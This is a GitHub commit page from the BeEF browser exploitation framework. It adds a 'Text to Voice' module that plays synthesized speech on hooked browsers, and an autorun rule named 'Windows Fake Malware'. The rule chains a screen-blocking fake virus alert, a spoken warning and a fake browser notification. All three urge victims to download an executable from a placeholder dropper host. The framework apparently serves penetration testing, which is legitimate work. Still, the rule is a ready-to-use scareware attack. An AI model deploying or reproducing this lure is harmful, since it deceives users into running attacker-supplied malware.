Skip to content

Commit 8ebf263

Browse files
committed
Merge pull request beefproject#1267 from bcoles/text_to_voice
Add Text to Voice module
2 parents ad21b4b + 5e91dfb commit 8ebf263

File tree

6 files changed

+163
-1
lines changed

6 files changed

+163
-1
lines changed

Gemfile

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,8 @@ gem 'dm-core'
3030
gem 'json'
3131
gem 'data_objects'
3232
gem 'rubyzip', '>= 1.0.0'
33+
gem 'espeak-ruby', '>= 1.0.3' # Text-to-Voice
34+
3335

3436
# SQLite support
3537
group :sqlite do

Gemfile.lock

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ GEM
2929
eventmachine (>= 0.12.9)
3030
http_parser.rb (~> 0.6.0)
3131
erubis (2.7.0)
32+
espeak-ruby (1.0.3)
3233
eventmachine (1.0.9.1)
3334
execjs (2.6.0)
3435
fastercsv (1.5.5)
@@ -94,6 +95,7 @@ DEPENDENCIES
9495
dm-sqlite-adapter
9596
em-websocket
9697
erubis
98+
espeak-ruby (>= 1.0.3)
9799
eventmachine
98100
execjs
99101
geoip
@@ -112,4 +114,4 @@ DEPENDENCIES
112114
uglifier
113115

114116
BUNDLED WITH
115-
1.11.2
117+
1.12.1

arerules/win_fake_malware.json

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
// note: update your dropper URL (dropper.local) in each of the modules below
2+
{
3+
"name": "Windows Fake Malware",
4+
"author": "bcoles",
5+
"browser": "ALL",
6+
"browser_version": "ALL",
7+
"os": "Windows",
8+
"os_version": "ALL",
9+
"modules": [
10+
{
11+
"name": "blockui",
12+
"condition": null,
13+
"options": {
14+
"message": "<img src='data:image/png;base64,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'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>",
15+
"timeout": "9999"
16+
}
17+
},
18+
{
19+
"name": "text_to_voice",
20+
"condition": null,
21+
"options": {
22+
"message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.",
23+
"language": "en"
24+
}
25+
},
26+
{
27+
"name": "fake_notification_ie",
28+
"condition": null,
29+
"options": {
30+
"url": "http://dropper.local/malware_removal_tool.exe",
31+
"notification_text": "SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible."
32+
}
33+
}
34+
],
35+
"execution_order": [0,1,2],
36+
"execution_delay": [0,0,0],
37+
"chain_mode": "sequential"
38+
}
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
//
2+
// Copyright (c) 2006-2016 Wade Alcorn - [email protected]
3+
// Browser Exploitation Framework (BeEF) - http://beefproject.com
4+
// See the file 'doc/COPYING' for copying permission
5+
//
6+
7+
beef.execute(function() {
8+
9+
var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/msg-<%= @command_id %>.mp3';
10+
try {
11+
var sound = new Audio(url);
12+
sound.play();
13+
beef.debug('[Text to Voice] Playing mp3: ' + url);
14+
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.are.status_success());
15+
} catch (e) {
16+
beef.debug("[Text to Voice] HTML5 audio unsupported. Could not play: " + url);
17+
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error());
18+
}
19+
20+
});
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
#
2+
# Copyright (c) 2006-2016 Wade Alcorn - [email protected]
3+
# Browser Exploitation Framework (BeEF) - http://beefproject.com
4+
# See the file 'doc/COPYING' for copying permission
5+
#
6+
beef:
7+
module:
8+
text_to_voice:
9+
enable: true
10+
category: "Social Engineering"
11+
name: "Text to Voice"
12+
description: "Convert text to mp3 and play it on the hooked browser. Note: this module requires Lame and eSpeak to be installed."
13+
authors: ["bcoles"]
14+
# http://caniuse.com/audio
15+
target:
16+
working: ["All"]
17+
not_working:
18+
IE:
19+
min_ver: 1
20+
max_ver: 8
21+
FF:
22+
min_ver: 1
23+
max_ver: 2
24+
S:
25+
min_ver: 1
26+
max_ver: 3
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
#
2+
# Copyright (c) 2006-2016 Wade Alcorn - [email protected]
3+
# Browser Exploitation Framework (BeEF) - http://beefproject.com
4+
# See the file 'doc/COPYING' for copying permission
5+
#
6+
class Text_to_voice < BeEF::Core::Command
7+
require "espeak"
8+
include ESpeak
9+
10+
def pre_send
11+
12+
# Ensure lame and espeak are installed
13+
if IO.popen(['which', 'lame'], 'r').read.to_s.eql?('')
14+
print_error("[Text to Voice] Lame is not in $PATH (apt-get install lame)")
15+
return
16+
end
17+
if IO.popen(['which', 'espeak'], 'r').read.to_s.eql?('')
18+
print_error("[Text to Voice] eSpeak is not in $PATH (apt-get install espeak)")
19+
return
20+
end
21+
22+
# Validate module options
23+
message = nil
24+
language = nil
25+
@datastore.each do |input|
26+
message = input['value'] if input['name'] == 'message'
27+
language = input['value'] if input['name'] == 'language'
28+
end
29+
unless Voice.all.map { |v| v.language }.include?(language)
30+
print_error("[Text to Voice] Language '#{language}' is not supported")
31+
print_more("Supported languages: #{Voice.all.map { |v| v.language }.join(',')}")
32+
return
33+
end
34+
35+
# Convert text to voice, encode as mp3 and write to module directory
36+
begin
37+
msg = Speech.new(message.to_s, voice: language)
38+
mp3_path = "modules/social_engineering/text_to_voice/mp3/msg-#{@command_id}.mp3"
39+
msg.save(mp3_path)
40+
rescue => e
41+
print_error("[Text to Voice] Could not create mp3: #{e.message}")
42+
return
43+
end
44+
45+
# Mount the mp3 to /objects/
46+
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
47+
"/#{mp3_path}",
48+
"/objects/msg-#{@command_id}",
49+
'mp3')
50+
end
51+
52+
def self.options
53+
return [
54+
{ 'name' => 'message',
55+
'description' => 'Text to read',
56+
'type' => 'textarea',
57+
'ui_label' => 'Text',
58+
'value' => 'Hello; from beef',
59+
'width' => '400px' },
60+
{ 'name' => 'language',
61+
'description' => 'Language',
62+
'type' => 'text',
63+
'ui_label' => 'Language',
64+
'value' => 'en' }]
65+
end
66+
67+
def post_execute
68+
content = {}
69+
content['result'] = @datastore['result']
70+
save content
71+
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind("/objects/msg-#{@command_id}.mp3")
72+
end
73+
74+
end

0 commit comments

Comments
 (0)